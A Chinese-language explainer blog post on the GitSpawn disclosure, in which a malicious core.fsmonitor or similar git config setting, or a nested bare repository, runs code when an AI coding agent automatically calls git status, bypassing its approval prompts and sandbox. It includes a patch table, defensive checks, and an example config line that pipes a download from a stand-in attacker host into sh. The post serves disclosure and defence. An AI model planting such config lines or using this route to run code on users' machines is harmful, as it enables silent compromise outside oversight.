GitSpawn 讲清楚:AI 编程 agent 还没弹出提示,git 配置已先执行代码
审批提示从来就不是那道信任边界,仓库才是。GitSpawn 把命令藏进仓库的 git 配置里。agent 为了弄清眼前是什么,往往先跑一条再普通不过的 git status,攻击者的代码也就抢在沙箱之外、抢在你读到任何内容之前执行了。这套 git 技巧 2022 年已经公开。2026 年变的只有一件事:现在有个 agent,一见到文件夹就抢着替你跑 git。
30 秒版
2026 年 9 月 1 日,Manifold Security 披露了 GitSpawn。一份带恶意配置的仓库,只等 AI 编程 agent 看它一眼,就能在你的机器上执行代码。你看不到提示,也没有机会点下批准。因为代码根本不经过 agent,而是由 git 直接执行。
入口是 core.fsmonitor。这个 git 配置项的值可以是一条命令,git 会在日常操作中运行它。agent 启动后要先弄清仓库状态,通常会自动执行 git status 和 git diff。就是这样一条看起来无害的命令,扣下了扳机。
这件事值得拆开讲,不是因为“AI agent 又出安全问题”这个标题有多新鲜,而是因为两层事实很容易被混在一起:
- git 原语(底层机制)一点都不新。 justinsteven 早在 2022 年 3 月 17 日就公开过它,编号是 OVE-20210718-0001。这套机制跟 AI 没有关系。
- 新的是人被拿掉了。 2022 年,受害者得走进有毒的目录,再亲手运行 git。到了 2026 年,agent 启动后会替你完成这一步。它跑在沙箱之外,而且早于你读到任何一行内容。
下文涉及的 git 行为,我们都在 git 2.50.1(Apple Git-155)上做了本地复现。各 agent 的补丁状态来自相关披露,只代表来源发稿时的情况。
到底执行了什么
core.fsmonitor 原本是为提速而设。git 不必扫描所有文件来判断哪里发生了变化,而是向一个辅助程序询问。这个配置项的值就是程序本身。每逢刷新索引,git 都会把它交给 shell(命令行解释器)执行。
因此,只要仓库的 .git/config 里出现下面这段配置:
[core]
fsmonitor = "curl -s https://attacker.example/x | sh; false"
任何会刷新索引的命令第一次碰到这个仓库时,这条管道就会运行。偏偏 agent 最先使用的,正是这组命令:git status、git diff、git add、git commit、git checkout。
下面是在 git 2.50.1(Apple Git-155)上的复现。我们用创建无害标记文件的命令代替真实载荷:
$ git config core.fsmonitor "touch /tmp/EXECUTED; false"
$ ls /tmp/EXECUTED # 之前
ls: /tmp/EXECUTED: No such file or directory
$ git status >/dev/null # agent 启动后第一个无害动作
$ ls /tmp/EXECUTED # 之后
/tmp/EXECUTED # ← 命令执行了:没有提示,没有克隆,没有编辑
没有文件被编辑,也没有操作等待批准。你只是想看看这仓库是什么,这一眼就已经中招了。
GitSpawn 加了什么:人被拿掉了
这套机制从 2022 年公开到 2026 年,一直没有引起同等规模的关注,因为它需要受害者配合。你得进入某个特定仓库里的特定子目录,再亲手运行 git。谨慎的开发者不太容易刚好走完这几步。
agent 却会稳定地替你走完。把一个文件夹交给 Claude Code、OpenAI Codex 或 Cursor,它们首先要判断这是什么仓库、改了哪些文件、当前在哪个分支。于是 git status 和 git diff 会自动运行。此时 agent 还没展示任何内容,更谈不上让你审批。按 Manifold Security 的说法,命令会以当前登录用户的完整权限执行,位置在沙箱之外,而且任何权限系统都完全看不到它(原文:“with the full privileges of the logged-in user, outside the sandbox and completely invisible to any permission system”)。
这和 7 月披露的 GhostApproval 很像,但又往前走了一步。GhostApproval 里,人还在审批环节中,只是屏幕展示了错误的文件。GitSpawn 连误导审批都不需要,因为提示出现之前,代码已经执行完了。
“我克隆了,所以安全”只对一半
不少转述把缓解办法概括成一句话:如果仓库不是克隆到达,而是作为文件到达,比如 .zip、共享网盘里的文件夹,就先检查 .git/config。这个建议只说对了一半。遗漏的另一半更危险。
说对的部分是: 普通 git clone 不会复制源仓库的本地配置。我们在 git 2.50.1(Apple Git-155)上复现了这一点:
$ git clone ./delivered-as-files ./via-clone
$ git -C ./via-clone config core.fsmonitor
# (空——恶意值没有跟着过来)
$ git -C ./via-clone status # 干净,没有执行
所以,直接写在 .git/config 里的简单变体,确实无法通过克隆到达。
遗漏的部分是: 2022 年那份公告还写到一种埋藏裸仓库的做法。攻击者把第二个 git 仓库当作普通的被追踪文件提交进目录树,比如 vendor/malicious.git。内容文件会完整穿过克隆。之后只要有命令在那个目录中运行,git 就会自动发现这个裸仓库。
这不是纸面推演。针对 GitHub Copilot CLI 的 CVE-2026-45033 在 2026 年 5 月再次报告了这条路径。公告把它描述为“一个嵌套在看似正常的项目目录内的裸 git 仓库”(原文:“a bare git repository nested inside a seemingly normal project directory”)。而且能被滥用的配置项不只 core.fsmonitor。core.hookspath、diff.external、merge.tool 等十几个配置项都可以指向外部命令。
所以,“我克隆了”只能拆掉一种变体。更准确的结论是:克隆会去掉本地配置这条到达路径,但只要你还没读过仓库里的被追踪内容,里面就可能藏着带可执行 git 配置的嵌套仓库。
为什么审批提示看不见它
先说清审批提示究竟管什么。它拦的是 agent 主动提出的动作,比如运行一条 bash 命令、写一个文件、调用一个工具。GitSpawn 并不是 agent 主动提出的新动作。agent 只是运行了一条已经放行、再普通不过的 git status。随后执行载荷的是 git。它不过是在照自己的配置做事。
整个过程没有留下可供审批的决定点。agent 为了生成上下文,必须先调用 git。等它有能力根据这些上下文显示提示时,那条命令早就跑完了。逐个修补 agent 当然有用,却不能消灭这一整类问题。该设防的地方是仓库,而不是那个提示框。等提示弹出来,早就晚了。
补丁矩阵
下表汇总 Manifold Security 的披露和两份相关 CVE 公告。状态只代表各来源发稿时的情况。版本变化很快,请把它当成核对自己版本的索引,不要当成实时状态页。
| Agent | 中招版本 | 状态 | 来源 |
|---|---|---|---|
Claude Code (core.fsmonitor) | 2.1.193 | 2.1.196 已修复 | Manifold |
Claude Code (ultrareview,不同配置项) | 2.1.252 | 披露时报告为未修复 | Manifold |
| OpenAI Codex | — | 已修复 | Manifold |
| Cursor | — | 已修复 | Manifold |
| Goose | 1.41.0 | 1.44.0 已修复 · CVE-2026-72718 | Manifold |
| Grok Build | 1.0.13 | 披露时报告为未修复 | Manifold |
| Hermes | 0.21.0 | 披露时报告为未修复 · CVE-2026-71963 | Manifold |
| Qwen Code | 0.22.3 | 披露时报告为未修复 | Manifold |
| GitHub Copilot CLI(嵌套裸仓库) | < 1.0.42 | 1.0.43 已修复 · CVE-2026-45033 | GitHub 公告 |
Manifold Security 表示,最早一批报告从 2026 年 6 月 26 日就开始提交。到 9 月 1 日发稿时,仍有 4 个发现未修复,另有 5 份较早的报告被标成重复。这说明不同研究者正在从多个方向反复撞见同一批缺口。
关于 Claude Code 的老实话
两件事都是真的,也应该放在一起讲。
Anthropic 修复 core.fsmonitor 这条路径的速度很快。2.1.193 中招,隔三个版本,2.1.196 就修好了。面对一条由仓库送进来的代码执行漏洞,这正是应有的响应速度。
但同一份披露还报告了 Claude Code 的第二条路径。它经过 ultrareview 命令,滥用的是另一个 git 配置项。截至 2026 年 9 月 1 日发稿时,这条路径在 2.1.252 仍被列为未修复。这才是需要记住的模式:关掉 core.fsmonitor 只是封住一个配置项,而同类配置项还有十几个。
本文只验证了 git 的底层机制,没有拿 Claude Code 去碰恶意仓库,也没有测试任何 agent 当前的补丁状态。如果你正在使用 Claude Code,请核对本机安装的版本和最新安全公告,不要把表里一个可能很快过时的数字当成结论。
该怎么办
- 不要让 agent 打开作为文件到达的不可信仓库。 陌生人发来的
.zip、支持工单附带的“项目”、共享网盘里的文件夹,都是最直接的投递方式。如果必须查看,先用普通编辑器,不要用一见仓库就运行 git 的 agent。 - 在 agent 碰它之前,检查配置和嵌套仓库。
git config --local --list | grep -iE 'fsmonitor|hookspath|sshcommand|pager|external|\.tool|\.cmd'可以找出危险配置项。find . -type d -name '*.git'可以找出埋藏的裸仓库。两条命令只要几秒。 - 分清哪项设置真能保护你。 在全局配置里设
core.fsmonitor false挡不住攻击。仓库的本地配置优先级更高,仍会触发执行。我们在 git 2.50.1(Apple Git-155)上复现了这一点。真正有效的是命令行覆盖,因为命令行-c优先级最高。面对同一个恶意仓库,git -c core.fsmonitor=false status没有执行载荷。厂商应该把这类覆盖加到收集上下文的 git 命令中。如果你自己的脚本会处理不可信目录,也应做同样的处理。 - 更新受影响的 agent。 已发布的修复确实有效。尚未修复的产品,则需要依靠上面两条办法降低风险,直到补丁落地。
真正的教训
每次出现“AI 编程 agent 执行了恶意代码”这样的标题,视线都会落到 agent 身上。但在 GitSpawn 里,agent 反而不是最值得盯住的部分。真正运行代码的是 git,而且它完全按照已有配置工作。仓库从一开始就不可信。
2026 年改变的只是节奏。以前,这类攻击要等一个人亲手犯错。现在,人只要打开文件夹,agent 就会在启动时替他自动补上那个错误。
信任边界应该画在仓库外面,不是画在提示框前面。等提示弹出来,早就晚了。
延伸阅读
- GhostApproval 符号链接漏洞讲清楚:同样发生在 7 月的披露。那一次,人还在审批环节里,只是看到的文件不对。GitSpawn 直接拿掉了整个环节。
- AI 编程 agent 到底会往磁盘写什么:继续追问 agent 在你下达指令之前已经碰过哪些东西。
- CLAUDE.md 的攻击面:另一条从仓库进入、抢在你留意之前生效的路径。
- AI 编程 agent 造成破坏性操作时:一旦代码已经执行,风险会怎样继续扩大。
- 最佳 AI 编程 agent:当前结论:把安全也纳入比较后,这些 agent 现在处在什么位置。
来源
- Manifold Security:GitSpawn:一个缺陷如何让不可信仓库在 Claude Code、Codex、Cursor 和 Grok 中运行代码(2026 年 9 月 1 日)。主要披露,涵盖机制和补丁矩阵。
- justinsteven:git 埋藏裸仓库与 fsmonitor 这个配置项的多种滥用(2022 年 3 月 17 日,OVE-20210718-0001)。最早公开这套 git 原语的文章。
- GitHub:GitHub Copilot CLI 安全公告 GHSA-9ccr-r5hg-74gf / CVE-2026-45033(2026 年 5 月 6 日披露,1.0.43 修复)。能够穿过克隆的嵌套裸仓库变体。
- The Hacker News:恶意 .git 配置可让 Claude、Codex、Cursor 等工具运行代码(2026 年 9 月)。交叉报道。
- heise:AI agent 启动时会自动执行 git 恶意软件(2026 年 9 月)。交叉报道。
- Cobalt:红队技术:利用 fsmonitor 这个配置项获得初始访问。对 fsmonitor 这个配置项的独立分析。
常见问题
GitSpawn 漏洞是什么? GitSpawn 是 Manifold Security 于 2026 年 9 月 1 日披露的一类漏洞,影响 Claude Code、OpenAI Codex、Cursor、Grok Build、Goose、Hermes 和 Qwen Code 等 AI 编程 agent。恶意仓库会在 core.fsmonitor 等 git 配置项里写入 shell 命令。agent 启动时运行 git status 或 git diff 收集上下文,git 就会以你的完整权限执行命令。执行发生在沙箱之外,也早于审批提示。这套 git 机制 2022 年已经公开,GitSpawn 的新发现是 agent 如今会自动触发它。
core.fsmonitor 为什么能让仓库执行代码? core.fsmonitor 是一项性能配置。它的值是一个程序,git 可以运行这个程序来判断哪些文件有变化,不必扫描整棵目录树。git status、git diff、git add、git commit、git checkout 等刷新索引的操作都会通过 shell 运行它。如果仓库的 .git/config 把它设成攻击者的命令,第一次执行这类操作时,命令就会运行。我们在 git 2.50.1(Apple Git-155)上确认,普通的 git status 会直接触发命令,全程没有提示。
仓库通过克隆到达,而不是作为文件到达,就能保护我吗? 只能防住一部分,把它当成完整防线很危险。普通 git clone 不会复制源仓库的本地配置,所以简单的 .git/config 变体无法通过克隆到达。我们已在 git 2.50.1(Apple Git-155)上确认这一点。但 2022 年公开、后来又以针对 GitHub Copilot CLI 的 CVE-2026-45033 报告的埋藏裸仓库变体,会把裸仓库伪装成普通的被追踪文件,例如 vendor/malicious.git。这些文件能穿过克隆,之后又会被 git 自动发现。对这一变体来说,“我克隆了,所以安全”并不成立。
为什么 agent 的审批提示挡不住 GitSpawn? 因为代码在提示出现前就已经由 git 执行,而不是由 agent 执行。审批提示只能拦住 agent 决定要做的动作。GitSpawn 发生在 agent 运行普通 git 命令收集上下文时,随后由 git 按自己的配置执行命令。这里没有一个可供批准的 agent 决定,而且调用通常发生在启动时,早于第一个提示。
Claude Code 受影响吗?已经修复了吗? Manifold Security 报告称,Claude Code 2.1.193 会受 core.fsmonitor 路径影响,这条路径已在 2.1.196 修复。同一份披露还报告了另一条独立路径:ultrareview 命令会滥用另一个 git 配置项。截至 2026 年 9 月 1 日发稿时,这条路径在 2.1.252 仍未修复。补丁状态变化很快,请对照安全公告核查自己安装的版本。本文验证的是 git 底层机制,没有测试任何 agent 当前的补丁状态。
怎样才能真正保护自己? 持久修复要由厂商完成:运行用于收集上下文的 git 命令时,强制关闭危险配置项。我们在 git 2.50.1(Apple Git-155)上确认,git -c core.fsmonitor=false status 能挡住恶意本地配置,因为命令行 -c 的优先级高于本地配置。把 core.fsmonitor false 写进自己的全局配置并不能保护你。本地配置会覆盖全局配置,恶意命令照样执行,我们也复现了这一点。开发者还应避免让 agent 打开作为文件到达的不可信仓库,并提前检查本地配置和嵌套的 .git 目录。
这篇对你有帮助吗?